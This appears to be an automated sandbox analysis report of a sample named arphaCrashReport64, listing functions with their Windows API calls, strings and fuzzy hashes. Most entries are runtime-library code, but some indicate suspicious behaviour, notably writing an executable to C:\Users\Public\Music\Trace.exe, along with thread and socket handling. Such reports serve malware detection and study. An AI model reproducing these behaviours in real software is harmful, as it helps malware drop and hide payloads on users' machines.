Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: d49d3c1e60c3354247970e5f405f23988a7ea1f58b6bb3f0a1cf52d8215e401e
Instruction ID: 4350b920ae693d47af7c5256ecf9f65fda6547b70316d1ed932424e4f829745c
Opcode Fuzzy Hash: d49d3c1e60c3354247970e5f405f23988a7ea1f58b6bb3f0a1cf52d8215e401e
Instruction Fuzzy Hash: 5721693760864A93E670AF51F05026EB7A1FB88B60F420221DE9D037A5EF3DE885DB10

Function 0000021779393290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 000002177939329E
malloc.LIBCMT ref: 00000217793932AA

Part of subcall function 0000021779395728: _FF_MSGBANNER.LIBCMT ref: 0000021779395758
Part of subcall function 0000021779395728: RtlAllocateHeap.NTDLL ref: 000002177939577D
Part of subcall function 0000021779395728: _callnewh.LIBCMT ref: 0000021779395796
Part of subcall function 0000021779395728: _errno.LIBCMT ref: 00000217793957A1
Part of subcall function 0000021779395728: _errno.LIBCMT ref: 00000217793957AC

std::exception::exception.LIBCMT ref: 0000021779393317

Strings

bad allocation, xrefs: 00000217793932E7

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction ID: d9b164c1e267eefea1a7cb590c2c5913b986dd403654df61b2dd230362aa1c39
Opcode Fuzzy Hash: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction Fuzzy Hash: FB01F7B524E706A1FE119F10E8483E5E3B0E7ED3B8F4825159949866E5EB3CC59AC700

Function 000002177938F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 000002177938F303
WriteFile.KERNEL32 ref: 000002177938F339
CloseHandle.KERNEL32 ref: 000002177938F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 000002177938F2DC

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: 004d7d15373aaa197635136332f78b590c43c4bbd09fa8d7f895f8107fdb824a
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: E901713270974082D7508F65B949686E370F79C7B8F441625EAAA03BD4DBBCC5558B00

Function 0000021779394F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,0000021779394FA1,?,?,00000028,0000021779395771,?,?,1C7F400000000000,000002177939532C,?,?,ceil,0000021779399B11), ref: 0000021779394F67
GetProcAddress.KERNEL32(?,?,000000FF,0000021779394FA1,?,?,00000028,0000021779395771,?,?,1C7F400000000000,000002177939532C,?,?,ceil,0000021779399B11), ref: 0000021779394F7C

Strings

CorExitProcess, xrefs: 0000021779394F72
mscoree.dll, xrefs: 0000021779394F60

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction ID: c0593122c98be699a76be0d82c2022df0ff67a92d4f6d766bc5317315cbecd48
Opcode Fuzzy Hash: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction Fuzzy Hash: 3BE0EC30B1760141FE199F60A89C3A492B4EBED770F482028A41F063D0DE28895A8200

Function 0000021779396894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 00000217793952FC: malloc.LIBCMT ref: 0000021779395327
Part of subcall function 00000217793952FC: Sleep.KERNEL32(?,?,ceil,0000021779399B11,?,?,?,0000021779399BBB,?,?,00000000,0000021779394875,?,?,00000000,000002177939492C), ref: 000002177939533A

free.LIBCMT ref: 00000217793969C0
free.LIBCMT ref: 00000217793969DC

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: 868da991bfb2cece626cd082bd38805a22ba14247ca0206fc87fe8b21fae27c1
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: 8F517B3230AB4496EB14DF1AE8583A9B3B4F798BB8F4454259F4D47B91DF38D9628300

Function 0000021779399DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021779399E0E
_invalid_parameter_noinfo.LIBCMT ref: 0000021779399E19
RtlDecodePointer.NTDLL ref: 0000021779399EC8
_lock.LIBCMT ref: 0000021779399EF3

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction ID: ebeac3e5c0903d708e7ce5c51711af920db86537434bf5419cd0f97890cf95e3
Opcode Fuzzy Hash: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction Fuzzy Hash: 4F51C332A0F64096FA699F14A44C3FAE3B9E3ED779F246515E95B426D4DB38C843C301

Function 00007FF73D1C9050 Relevance: 6.2, APIs: 4, Instructions: 159fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00007FF73D1C913F
ReadFile.KERNEL32 ref: 00007FF73D1C91B3
CloseHandle.KERNEL32 ref: 00007FF73D1C91DA

Part of subcall function 00007FF73D1C2720: GetLastError.KERNEL32 ref: 00007FF73D1C2724

CloseHandle.KERNEL32 ref: 00007FF73D1C9249

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseFileHandle$ErrorLastReadSize
String ID:
API String ID: 2874038178-0
Opcode ID: be5c366c1aee1bb0493212f3807dab99741dc336282f279b984104bc03ce7b0e
Instruction ID: 89aa2a637f44631b400a5111ee0cd85a0d02ce4935f2f85f82aa361d5afd15dd
Opcode Fuzzy Hash: be5c366c1aee1bb0493212f3807dab99741dc336282f279b984104bc03ce7b0e
Instruction Fuzzy Hash: 9F51EDB2A0CA8697E710ABA5F44426AF360FB85BA4F560235EED803694EF3CD544D760

Function 00000217790B0AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000217790B0100: _getptd.LIBCMT ref: 00000217790B0104

_getptd.LIBCMT ref: 00000217790B0B3B
_SetImageBase.LIBCMT ref: 00000217790B0C0E
_getptd.LIBCMT ref: 00000217790B0C3C
_getptd.LIBCMT ref: 00000217790B0C4A

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: a7783a237c49f16e5cab9f6bab021e89fba641c7a2701e81d9180d2ff217cf93
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: CD41963113EA0649E3166F28C85EBE9B2F5FBEA334F24456ED055831EBD670D883C281

Function 00000217793A2EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021779393334: _getptd.LIBCMT ref: 0000021779393346

_errno.LIBCMT ref: 00000217793A2EFA
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A2F04
_errno.LIBCMT ref: 00000217793A2F28
_invalid_parameter_noinfo.LIBCMT ref: 00000217793A2F32

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction ID: defccf8384f431f9d437d51975b9f50942535bd0f9bccc7f71ec1ac63d17097b
Opcode Fuzzy Hash: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction Fuzzy Hash: 2241917221A78086E755DF15C1887EEBBB0E7E8BF4F45A121EB4A47BD6CB28C446C701

Function 00000217790AE7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790AE7D3
_invalid_parameter_noinfo.LIBCMT ref: 00000217790AE7DF
_errno.LIBCMT ref: 00000217790AE809
_errno.LIBCMT ref: 00000217790AE86B

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 61d0b6e7117682dc5f176d4ff2af0264f55ce72eacd2967134556575516c8558
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: F531F83162DA874AE71E5E2C548C3B9B7E1DBFD321F2402BED04AD76D3D9618843C2A1

Function 0000021779391B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 0000021779391B75
realloc.LIBCMT ref: 0000021779391BD4

Part of subcall function 0000021779393D68: malloc.LIBCMT ref: 0000021779393D85

IsBadCodePtr.KERNEL32 ref: 0000021779391C59
SetLastError.KERNEL32 ref: 0000021779391C7D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: ba75374a2100af55505339129c38be4b421dbcf92b3cfe2c3e275e5b35109ebe
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: 9641543670A6848BEB64DF55E4843AAB3B0F798BA8F485425DF4A47B94DF38D452C700

Function 00000217793A1144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000217793A0748: _getptd.LIBCMT ref: 00000217793A074C

_getptd.LIBCMT ref: 00000217793A1183

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_SetImageBase.LIBCMT ref: 00000217793A1256
_getptd.LIBCMT ref: 00000217793A1284
_getptd.LIBCMT ref: 00000217793A1292

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction ID: 2b81cee480f5157e8bbb619870f182f732d5215d2157f0e6dde63b8671c50afb
Opcode Fuzzy Hash: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction Fuzzy Hash: 8341D23220A64581EA60EF65D4893FDE7B0EBFABB8F559111EE59477E2CA35C4438300

Function 00000217790A2A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217790A2A9F
_invalid_parameter_noinfo.LIBCMT ref: 00000217790A2AAA
_getptd.LIBCMT ref: 00000217790A2AD0
free.LIBCMT ref: 00000217790A2B3B

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: d98cf6d6c1398fabe73124cfa70ebe521c96262c6ad3697846badc2215441e7a
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 42215A3061DB0A4FE745BF7C944A7A9F7E1EBE8321F10062EA459D32E2DA60D841C7D2

Function 000002177939EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000002177939EE1B
_invalid_parameter_noinfo.LIBCMT ref: 000002177939EE27
_errno.LIBCMT ref: 000002177939EE51
_errno.LIBCMT ref: 000002177939EEB3

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction ID: a40df8e119a9674335e86c4c18408f4881f82fba53536dc44c48c0693ec9a3a6
Opcode Fuzzy Hash: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction Fuzzy Hash: 6321D872A1E2C086F7658E65D4583FDABA193FD3B8F18A222D641473C3D675C84B8741

Function 00000217793947F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,0000021779394382), ref: 0000021779394803
RtlDeleteCriticalSection.NTDLL ref: 0000021779399A43
free.LIBCMT ref: 0000021779399A4C
RtlDeleteCriticalSection.NTDLL ref: 0000021779399A73

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: e1415883efa14ea94735e60937b7c77bff2167bc02eb3f232af94757d6af0d99
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: 40118235A0EA40CAFB558F15F85C3A9B374E7EDB78F586611EA5A022D4CB38C452C701

Function 0000021779395B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021779395B36

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_lock.LIBCMT ref: 0000021779395B64
free.LIBCMT ref: 0000021779395B9A
_amsg_exit.LIBCMT ref: 0000021779395BD3

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: bfb2f9a7611a0878502027645d70b98ef9c108d48bcda5f41d0003a75da90d7a
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: 7D11123521AA4481FA959F11E4587F8B3B5F7EC778F486026DE5A033D5DF28C4928714

Function 000002177939303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000021779393071
RtlExitUserThread.NTDLL ref: 0000021779393079
GetCurrentThreadId.KERNEL32 ref: 0000021779393080
_freefls.LIBCMT ref: 00000217793930B1

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction ID: 9359f383e311c4aae47637348bad21f10f11e0e0ebdf0b038f49f83ba6097b64
Opcode Fuzzy Hash: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction Fuzzy Hash: 6A018C3820AB5985FF00AFB1940D3EDA2B5EBACBB8F002434995E473D2EE3884528310

Function 0000021779382A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 0000021779382A6F
CreateThread.KERNEL32 ref: 0000021779382A95
WaitForSingleObject.KERNEL32 ref: 0000021779382AA6
CloseHandle.KERNEL32 ref: 0000021779382AB1

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: 7916fb9c14b927eade04a511f1335b65fcbfc0ab791b8f7fb0090ca72f63aa56
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: 29F04F3661AA8083E714CF75B85859BB7B2F3D9760F145225FA9A42BA8CF3CC0568A00

Function 00000217793963FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021779396402

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

_getptd.LIBCMT ref: 0000021779396422
_lock.LIBCMT ref: 0000021779396435
_amsg_exit.LIBCMT ref: 0000021779396463

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction ID: 4408aeb26d3bdfb2747b3097984477a15cb518cf6328a6dc4635593298ca8ca9
Opcode Fuzzy Hash: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction Fuzzy Hash: 52F01D3121B44481FA54AF91886DBF9A2B1E7ECB7CF592138DA59073D2DF188842C311

Function 00000217793826D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0000021779382703
CancelIo.KERNEL32 ref: 000002177938270D
closesocket.WS2_32 ref: 000002177938271D
SetEvent.KERNEL32 ref: 000002177938272A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: d6d23c1f72e7923af14dd000e748fd0a6f6a561371c36576632a1dfa0ff3ee5f
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 78F01236604A4197E7118F25E548299B370F7D8B74F500325EFA943AE4CF79C4AAC700

Function 00000217790B1A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217790B1AA0

Strings

csm, xrefs: 00000217790B1ACD
csm, xrefs: 00000217790B1BD7

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: e170c06c8f2ee0254038d57002861765434e8262cefb1ba3d14124fca37d4bf2
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: B761623022DA068FEBE5DE5888997A9F3F2FBAE321F54055DD449C72D1D6309C82C786

Function 00000217793A20C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000217793A20E8

Part of subcall function 0000021779394958: _amsg_exit.LIBCMT ref: 000002177939496E

Strings

csm, xrefs: 00000217793A2115
csm, xrefs: 00000217793A221F

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 8990b07ee099aca8136d88a1f1df46c049c0a77db0180fad9cbce8fc053c0add
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 1851953210A64086EBA49F259448BEDF7B0F3B9BA4F046115FE5967BD5C738C892CB41

Function 00007FF73D1CA820 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF73D1CA979
